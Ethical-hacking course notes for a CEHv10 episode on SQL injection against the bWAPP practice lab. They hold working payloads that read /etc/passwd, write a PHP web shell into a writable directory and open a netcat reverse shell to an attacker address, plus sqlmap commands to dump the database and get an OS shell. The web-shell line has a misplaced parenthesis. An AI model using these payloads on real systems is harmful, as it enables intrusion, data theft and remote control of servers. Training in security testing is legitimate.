- Filename: eccouncil-ceh31250-v10-15-3-1-other_sqli_and_tools.md
- Show Name: CEHv10 (312-50)
- Topic Name: SQL Injection
- Episode Name: Other SQLi and Tools
- Description: In this episode, Daniel and Zach explore other common SQL injection attacks. Here you'll see how to use SQLi to read system files, write files to the OS, and then get code execution to gain remote shell access. Finally, you'll see how to automate SQLi attacks through the use of freely available tools like SQLMap.

==========

Other SQLi and Tools

- **We've seen a lot of what we can do with SQL Injection. Are there any other kinds of things can we accomplish with SQL injection?**
    - Lots of dangerous things
        - READ/WRITE/CODE_EXEC
            - READ from file
                - `union all select 1,load_file("/etc/passwd"),3,4,5,6,7 --`
                    - View source for better formatting of output
            - WRITE to file
                - `union all select 1,"Test",3,4,5,6,7 into OUTFILE '/var/www/test.txt'`
                    - You may get permission denied
                        - Try to find another directory with write perms
                            - `dirb http://10.0.0.175/bWAPP/ /usr/share/wordlists/dirb/big.txt`
                                - Trial and error through the any listed directories
                                    - Found writeable dir: **/var/www/bWAPP/documents**
                                      + CODE EXEC may now be possible :)
                                      - CODE EXEC
                                      + ```
                                      union all select 1,"<?php echo shell_exec($_GET['cmd'];?>)",3,4,5,6,7
                                      into OUTFILE '/var/www/bWAPP/documents/revshell.php'

```
- Start a listener on port 4444
- Now browse to your backdoor and execute a command
```

- `http://10.0.0.175/bWAPP/documents/revshell.php?cmd=nc -nv 10.0.0.169 4444 -e /bin/bash`
- **Doing this manually is great, but are there tools available to help us automate this process?**
    - Yes. Do a google search for sqli tools
        - SQLMap
            - Scan DB using POST
                - ```
                  sqlmap --cookie="security_level=0;
                  PHPSESSID=2ecf6671bdeb964ae7675639a0e7801a"
                  --data "title=Iron+Man&action=search"
                  -u "http://10.0.0.175/bWAPP/sqli_6.php" -D bWAPP --dump
                  ```
            - Get OS Shell
                - ```
                  sqlmap --cookie="security_level=0;
                  PHPSESSID=2ecf6671bdeb964ae7675639a0e7801a"
                  --data "title=Iron+Man&action=search"
                  -u "http://10.0.0.175/bWAPP/sqli_6.php" -D bWAPP --os-shell
                  ```